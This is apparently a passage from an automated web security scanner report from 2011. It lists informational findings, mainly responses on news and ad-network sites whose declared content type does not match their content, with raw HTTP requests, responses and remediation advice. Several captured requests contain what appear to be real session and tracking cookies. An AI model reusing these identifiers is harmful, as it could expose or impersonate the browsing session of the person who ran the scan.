HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:33:31 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Content-Length: 1581
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>CereBel Interactive & CereBel Labs - Community Entertainment Network</TITLE>
<META name=description Contents="CereBel
...[SNIP]...

28.83. http://www.cerebel.com/greybox/loader_frame.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cerebel.com
Path:	/greybox/loader_frame.html

Request

GET /greybox/loader_frame.html?s=0 HTTP/1.1
Host: www.cerebel.com
Proxy-Connection: keep-alive
Referer: http://www.cerebel.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:34 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Last-Modified: Thu, 19 Jun 2008 08:48:36 GMT
ETag: "9e0b0e-824-450010af72100"
Accept-Ranges: bytes
Content-Length: 2084
Content-Type: text/html


<html>
<head>
<script>
var GB = parent.GB_CURRENT;
document.write('<script type="text/javascript"
...[SNIP]...

28.84. http://www.fanpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/

Request

Response

28.85. http://www.fanpeeps.com/bg2.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/bg2.jpg

Request

Response

28.86. http://www.fanpeeps.com/media/blueactive2.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/media/blueactive2.gif

Request

Response

28.87. http://www.marketwatch.com/cdn_content/business/re.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/cdn_content/business/re.html

Request

GET /cdn_content/business/re.html?ad_DisplayAd1 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; _chartbeat2=g73giwkwwxj3e1nb; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_10001

Response

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Wed, 07 Apr 2010 00:01:07 GMT
Accept-Ranges: bytes
ETag: "806356ce5d5ca1:8037"
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE1
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:28:17 GMT
Content-Length: 747

...<html>
<head><style type="text/css">body { margin: 0; padding: 0; text-align: center; background-color: transparent; } img { border-width: 0; }</style>
</head>
<body>
<script type="text/jav
...[SNIP]...

28.88. http://www.marketwatch.com/doubleclick/DARTIframe.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/doubleclick/DARTIframe.html

Request

GET /doubleclick/DARTIframe.html?adParams=creativeIdentifier%3DGlobalTemplate_13046228331781305367984368%26mtfNoFlush%3D%26globalTemplateVersion%3D59_09%26isInterstitial%3Dfalse%26mediaServer%3Dhttp%253A//s0.2mdn.net%26adServer%3Dhttp%253A//ad.doubleclick.net%26adserverUrl%3Dhttp%253A//ad.doubleclick.net/activity%253Bsrc%253D1363789%253Bmet%253D1%253Bv%253D1%253Bpid%253D13112443%253Baid%253D240691320%253Bko%253D0%253Bcid%253D41978572%253Brid%253D41996359%253Brv%253D1%253B%26stringPostingUrl%3Dhttp%253A//ad.doubleclick.net/activity%253Bsrc%253D1363789%253Bstragg%253D1%253Bv%253D1%253Bpid%253D13112443%253Baid%253D240691320%253Bko%253D0%253Bcid%253D41978572%253Brid%253D41996359%253Brv%253D1%253Brn%253D3068525%253B%26swfParams%3Dsrc%253D1363789%2526rv%253D1%2526rid%253D41996359%2526%253D%25255e%25255e%2526%26renderingId%3D41996359%26previewMode%3Dfalse%26debugEventsMode%3Dfalse%26pubHideObjects%3D%26pubHideApplets%3D%26mtfInline%3Dfalse%26pubTop%3D%26pubLeft%3D%26pubDuration%3D%26pubWMode%3D%26isRelativeBody%3Dfalse%26debugJSMode%3Dfalse%26adjustOverflow%3Dfalse%26asContext%3D%26clickThroughUrl%3Dhttp%253A//ad.doubleclick.net/click%25253Bh%25253Dv8/3b07/3/0/%25252a/a%25253B240691320%25253B0-0%25253B0%25253B13112443%25253B8559-250/26%25253B41978572/41996359/1%25253Bu%25253D%25255E%25255E%25253B%25257Eokv%25253D%25253Bu%25253D%25255E%25255E%25253Bsz%25253D250x26%25253Btile%25253D2%25253B%25257Eaopt%25253D2/1/ff/1%25253B%25257Esscs%25253D%25253f%26clickN%3D%26type%3DExpandingFlash%26uni&gtVersion=59_09&mediaserver=http%3A//s0.2mdn.net/879366&cid=GlobalTemplate_13046228331781305367984368&plcrjs=http%3A//s0.2mdn.net/1363789/plcr_41996359_1304622833751.js&globalTemplateJs=http%3A//s0.2mdn.net/879366/expandingIframeGlobalTemplate_v2_59_09.js&customScriptFile=&needSlaves=true&numberOfSlaves=1 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/marketwatch.com/frontpage;u=%5e%5e;sz=250x26;tile=2;ord=1820011674?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Last-Modified: Fri, 22 Oct 2010 21:41:24 GMT
Accept-Ranges: bytes
ETag: "05a91df3172cb1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-MACHINE: sbkdfinwebp05
Date: Sat, 14 May 2011 10:16:04 GMT
Content-Length: 2688

<HTML>
<HEAD>
</HEAD>
<BODY>
<SCRIPT language=JavaScript>
<!--
   function loadIFrameScript() {
       try {
           var mediaServer = "";
           var globalTemplateVersion = "";
           var searchString = docume
...[SNIP]...

29. Content type incorrectly stated previous next
There are 74 instances of this issue:

http://0d7292.r.axf8.net/mr/a.gif
http://72d329.r.axf8.net/mr/a.gif
http://a1.twimg.com/profile_images/409944203/blueaspiicon_normal.gif
http://a2.twimg.com/profile_images/362264839/Pilon-Mary-colhed_normal.gif
http://allthingsd.com/
http://amch.questionmarket.com/adscgen/st.php
http://api.twitter.com/1/urls/resolve.json
http://b.scorecardresearch.com/favicon.ico
http://barrons.wsj.net/public/resources/documents/ac_keyword_exception_list.js
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://catrg.peer39.net/145/200/206100145
http://catrg.peer39.net/239/415/1360207739
http://catrg.peer39.net/306/63/1141031806
http://catrg.peer39.net/313/386/376693313
http://catrg.peer39.net/36/210/1382605036
http://catrg.peer39.net/384/75/2076037884
http://catrg.peer39.net/83/435/1736717583
http://coretomic.com/CN/script/Validate.js
http://cs.wsj.net/community/content/images/misc/groups/otherquestionmark.25x25.png
http://cs.wsj.net/community/content/images/misc/groups/otherquestionmark.80x80.png
http://cs.wsj.net/community/content/images/misc/groups/persfinancepiggybank.80x80.png
http://cs.wsj.net/community/content/images/misc/members/defaultuser.50x50.png
http://fanpeeps.com/horizontalbuttons1.css
http://fanpeeps.com/horizontaltabs1.css
http://i4.marketwatch.com/MW5/content/Story/Images/icon-thumb.gif
http://images.apple.com/global/nav/scripts/globalnav.js
http://images.scanalert.com/images/favicon.mcafeesecure.ico
http://json6.ringrevenue.com/images/generic/logo.png
http://kara.allthingsd.com/
http://maps.googleapis.com/maps/api/js/AuthenticationService.Authenticate
http://maps.googleapis.com/maps/api/js/ViewportInfoService.GetViewportInfo
http://online.barrons.com/mdc/public/js/9_3001_Refresh_HP.js
http://online.barrons.com/scorecard/SC_BEAR_O_2011_L.json
http://online.barrons.com/scorecard/SC_BEAR_P_2011_L.json
http://online.barrons.com/scorecard/SC_BULL_O_2011_L.json
http://online.barrons.com/scorecard/SC_BULL_P_2011_L.json
http://online.wsj.com/djscript/latest/dojo/cldr/nls/en/number.js
http://online.wsj.com/public/page/0_0_WC_HeaderWeather-10005.html
https://order.wsj.com/sub/f3/offer_form
http://rt.disqus.com/forums/realtime-cached.js
http://s.wsj.net/img/sm/textResizeIcons.gif
http://s.wsj.net/public/resources/documents/ac_keyword_exception_list.js
http://s1.wsj.net/img/nav_bg_wknd.gif
http://s3.wsj.net/img/bg-liveMarketUpdates.jpg
http://s4.wsj.net/img/icon_facebook_m.gif
http://server.iad.liveperson.net/hcp/html/mTag.js
https://services.wsj.com/Gryphon/images/logo.png
http://topics.wsj.com/api-video/get_video_info.asp
http://twitter.com/account/available_features
http://www.dinse.com/include/standart_lib.js
http://www.facebook.com/extern/login_status.php
http://www.fanpeeps.com/horizontalbuttons1.css
http://www.fanpeeps.com/horizontaltabs1.css
http://www.google.com/realtimejs
http://www.idolpeeps.com/images/peep3/subjects/1th.jpg
http://www.idolpeeps.com/images/peep3/subjects/2th.jpg
http://www.idolpeeps.com/images/peep3/subjects/3th.jpg
http://www.idolpeeps.com/images/peep3/subjects/4th.jpg
http://www.idolpeeps.com/images/peep3/subjects/5th.jpg
http://www.idolpeeps.com/images/peep3/subjects/6th.jpg
http://www.marketwatch.com/bg/api/Pickup.ashx
http://www.mcafeesecure.com/include/js/global.js
http://www.mcafeesecure.com/include/js/home_menu.js
http://www.mcafeesecure.com/include/js/menu.js
http://www.mcafeesecure.com/include/js/menutabs.js
http://www.mcafeesecure.com/include/js/slideshow.js
http://www.mcafeesecure.com/include/js/tabs.js
https://www.mcafeesecure.com/include/js/global.js
https://www.mcafeesecure.com/include/js/home_menu.js
https://www.mcafeesecure.com/include/js/menu.js
https://www.mcafeesecure.com/include/js/menutabs.js
https://www.mcafeesecure.com/include/js/tabs.js
http://www.siteadvisor.com/images/logo.gif
http://www.smartmoney.com/remote/commentHandler/do/commentcount/

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

29.1. http://0d7292.r.axf8.net/mr/a.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://0d7292.r.axf8.net
Path:	/mr/a.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript; charset=utf-8

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /mr/a.gif?a=0D7292&v=1 HTTP/1.1
Host: 0d7292.r.axf8.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 69
Content-Type: application/x-javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:12:53 GMT

gomez.b2(313456784770054,1);gomez.b1(0.01,0);if(gomez.n0)gomez.n0(1);

29.2. http://72d329.r.axf8.net/mr/a.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://72d329.r.axf8.net
Path:	/mr/a.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript; charset=utf-8

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /mr/a.gif?a=72D329&v=1 HTTP/1.1
Host: 72d329.r.axf8.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/barrons_take.html?mod=BOL_other_tnav_analysis
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 66
Content-Type: application/x-javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:33:05 GMT

gomez.b2(314601307112455,1);gomez.b1(1,0);if(gomez.n0)gomez.n0(1);

29.3. http://a1.twimg.com/profile_images/409944203/blueaspiicon_normal.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://a1.twimg.com
Path:	/profile_images/409944203/blueaspiicon_normal.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /profile_images/409944203/blueaspiicon_normal.gif HTTP/1.1
Host: a1.twimg.com
Proxy-Connection: keep-alive
Referer: http://twitter.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:14 GMT
Expires: Wed, 01 May 2019 17:48:44 GMT
Last-Modified: Fri, 11 Sep 2009 19:28:12 GMT
Cache-Control: max-age=252460800
Content-Type: image/gif
ETag: "e69bf3f6eda1836154532c6165a42152"
Accept-Ranges: bytes
Server: AmazonS3
X-Amz-Cf-Id: 55c6e8d78b0185881ef6243b794ead4facb1a5469097a41d7e7dbc1cc712504e72e35151a7f597f6,caa4af2f4772e6fb84473b8521618c5f90e48276a3e46566c9b8743e673b47cef84f03b31693dba4
x-amz-id-2: DDn3cThp5bNEVRJKby7/+TKagMe7FxJuhnF+opooqU283koyOtgeFkTEJOh0ZmdX
x-amz-request-id: BF1EC4D54640E991
X-Cache: Miss from cloudfront
Content-Length: 1416

.PNG
.
...IHDR...0...0......`n.... pHYs...H...H.F.k>... vpAg...0...0....W...%IDATX....o.E...33k....T@.....x@..#..W......R.J...B......*...%.I.......c....N.'..{m...a..;W.q.D.Y+kv<..9..fv...oj.......&.
...[SNIP]...

29.4. http://a2.twimg.com/profile_images/362264839/Pilon-Mary-colhed_normal.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://a2.twimg.com
Path:	/profile_images/362264839/Pilon-Mary-colhed_normal.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /profile_images/362264839/Pilon-Mary-colhed_normal.gif HTTP/1.1
Host: a2.twimg.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:18:09 GMT
Expires: Fri, 10 May 2019 17:52:41 GMT
Last-Modified: Fri, 14 Aug 2009 14:08:04 GMT
Cache-Control: max-age=252460800
Content-Type: image/gif
ETag: "5518125ff6b64077a8111be200736133"
Accept-Ranges: bytes
Server: AmazonS3
X-Amz-Cf-Id: 760d2e137b88824404ecb637d470764a302cc3dbce1d7d7d3ddab80b7d4ae45fe74f7ca4d64ba0ed,0bd48a2fba77a0ff494a7e5355cdeac2d08c511c0bd225d55373147262d47fe46be51c127bc44bae
x-amz-id-2: xIQH6FYgUjbVXJJzThGKBF5TEDOGoOQv6HrSNbXfqTY65RrpwC3rVfftM6h3ZNKD
x-amz-request-id: 8B57DC83538CFFEC
X-Cache: Miss from cloudfront
Content-Length: 4554

.PNG
.
...IHDR...0...0......`n.... pHYs...H...H.F.k>... vpAg...0...0....W...gIDATX..YIo......y.y..;v...$.(..........-?
.J..".!.Y@.@.8q&.;.n..].U].x............:....4..W_U*....$....v..j...H.........x
...[SNIP]...

29.5. http://allthingsd.com/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://allthingsd.com
Path:	/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain JSON.

Request

GET /?atd_json=api-video/find_all_videos.asp&fields=all&site=atd&count=4&doctype=128 HTTP/1.1
Host: allthingsd.com
Proxy-Connection: keep-alive
Referer: http://allthingsd.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __switchTo5x=48; __unam=c2a74e1-12fedfea5dc-285fdd11-1; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:16:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Sat, 14 May 2011 10:14:50 +0000
Cache-Control: max-age=175, must-revalidate
Vary: Cookie
X-Pingback: http://allthingsd.com/xmlrpc.php
X-nananana: Batcache
Content-Length: 9461

{"items":[{"formattedCreationDate": "5\u002F13\u002F2011 6:55:16 PM","unixCreationDate": 1305312916,"vbCreationDate": 40676.7883796296,"formattedLastModifiedDate": "5\u002F13\u002F2011 6:56:12 PM","un
...[SNIP]...

29.6. http://amch.questionmarket.com/adscgen/st.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

29.7. http://api.twitter.com/1/urls/resolve.json previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://api.twitter.com
Path:	/1/urls/resolve.json

Issue detail

The response contains the following Content-type statement:

Content-Type: application/json; charset=utf-8

The response states that it contains JSON. However, it actually appears to contain plain text.

Request

Response

29.8. http://b.scorecardresearch.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://b.scorecardresearch.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=iso-8859-1

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /favicon.ico HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=64dfc632-184.84.247.65-1305305561

Response

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=iso-8859-1
Expires: Sun, 15 May 2011 12:07:31 GMT
Date: Sat, 14 May 2011 12:07:31 GMT
Content-Length: 15
Connection: close
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=86400
Server: CS

File not found.

29.9. http://barrons.wsj.net/public/resources/documents/ac_keyword_exception_list.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://barrons.wsj.net
Path:	/public/resources/documents/ac_keyword_exception_list.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /public/resources/documents/ac_keyword_exception_list.js HTTP/1.1
Host: barrons.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Wed, 27 Jan 2010 23:55:46 GMT
Vary: Accept-Encoding
Server: Apache
X-DEBUG-BOX-IDENT: sbkj2kiwebp04
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /public/resources/documents/ac_keyword_exception_list.js
X-DEBUG-NAMESPACE: inert-barrons
Accept-Ranges: bytes
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: application/x-javascript
Cache-Control: max-age=12510
Expires: Sat, 14 May 2011 13:41:26 GMT
Date: Sat, 14 May 2011 10:12:56 GMT
Connection: close
Content-Length: 267

keywordException = new Array
("obama","putin","china","fbi","cia","fda","nano","g20","g-20","bay","egan","acme","gold","cost","gas","beer","drug","oil","dog","cpi","gdp","dna","etf","jazz","etfs"
...[SNIP]...

29.10. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jvFxaMPh0doZ00001; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9sKa0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:09:23 GMT
Connection: close
Content-Length: 2269

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

29.11. http://catrg.peer39.net/145/200/206100145 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://catrg.peer39.net
Path:	/145/200/206100145

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /145/200/206100145?aid=00712&sid=00000&pu=http%3A//online.wsj.com/article/SB10001424052748703730804576313682030967852.html&cc=/7QnkE80XLKzILiqpjgeKxf/yYqPe70zfdO7mPRtaGk%3D&pr=http%3A//www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/&pt=This%20Week%3A%20Blue%20Chips%20Weaken%20and%20Prices%20in%20U.S.%20Rise%20-%20WSJ.com&sd=9289180 HTTP/1.1
Host: catrg.peer39.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
ETag: "bfcd5e5c035c8107ce219d55c96e2390:1305323707"
Last-Modified: Fri, 13 May 2011 21:53:57 GMT
Accept-Ranges: bytes
Content-Length: 678
Content-Type: text/plain
Date: Sat, 14 May 2011 10:36:18 GMT
Connection: close
X-N: S

function getTargetingTags_712() { return '<?xml version="1.0" encoding="UTF-8"?><responseContainer><service><classifier><category path="Personal Finance" description="" name="Personal Finance" id="22
...[SNIP]...

29.12. http://catrg.peer39.net/239/415/1360207739 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://catrg.peer39.net
Path:	/239/415/1360207739

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /239/415/1360207739?aid=00712&sid=00000&pu=http%3A//www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390&cc=/7QnkE80XLKzILiqpjgeKxf/yYqPe70zfdO7mPRtaGk%3D&pr=http%3A//traffic.outbrain.com/network/redir%3Fkey%3Df465737d830a35fc698cafafb4ce7caf%26rdid%3D205292719%26type%3DIMD_def_prd%26in-site%3Dtrue%26req_id%3Dcd9a83f96a2d455991d95bc48290df11%26agent%3Dblog_JS_rec%26recMode%3D3%26reqType%3D1%26wid%3D102%26imgType%3D0%26version%3D37740%26idx%3D3&pt=Medicare%2C%20Social%20Security%20finance%20outlook%20worsens%20-%20MarketWatch&sd=2764290 HTTP/1.1
Host: catrg.peer39.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
ETag: "f4b82ea7638ebfa9082c978e003223a8:1305304220"
Last-Modified: Fri, 13 May 2011 16:27:57 GMT
Accept-Ranges: bytes
Content-Length: 720
Content-Type: text/plain
Date: Sat, 14 May 2011 10:32:58 GMT
Connection: close
X-N: S

function getTargetingTags_712() { return '<?xml version="1.0" encoding="UTF-8"?><responseContainer><service><classifier><category path="Personal Finance" description="" name="Personal Finance" id="22
...[SNIP]...

29.13. http://catrg.peer39.net/306/63/1141031806 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://catrg.peer39.net
Path:	/306/63/1141031806

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /306/63/1141031806?aid=00712&sid=00000&pu=http%3A//online.wsj.com/article/SB10001424052748704681904576319301584731990.html&cc=/7QnkE80XLKzILiqpjgeKxf/yYqPe70zfdO7mPRtaGk%3D&pr=http%3A//online.wsj.com/public/page/0_0_WP_2400_NewsReel.html%3FbaseDocId%3DSB10001424052748704681904576315662838806984&pt=Tax%20Report%3A%20The%20New%20Tax%20Breaks%20for%20Business%20Autos%20-%20WSJ.com&sd=7093670 HTTP/1.1
Host: catrg.peer39.net
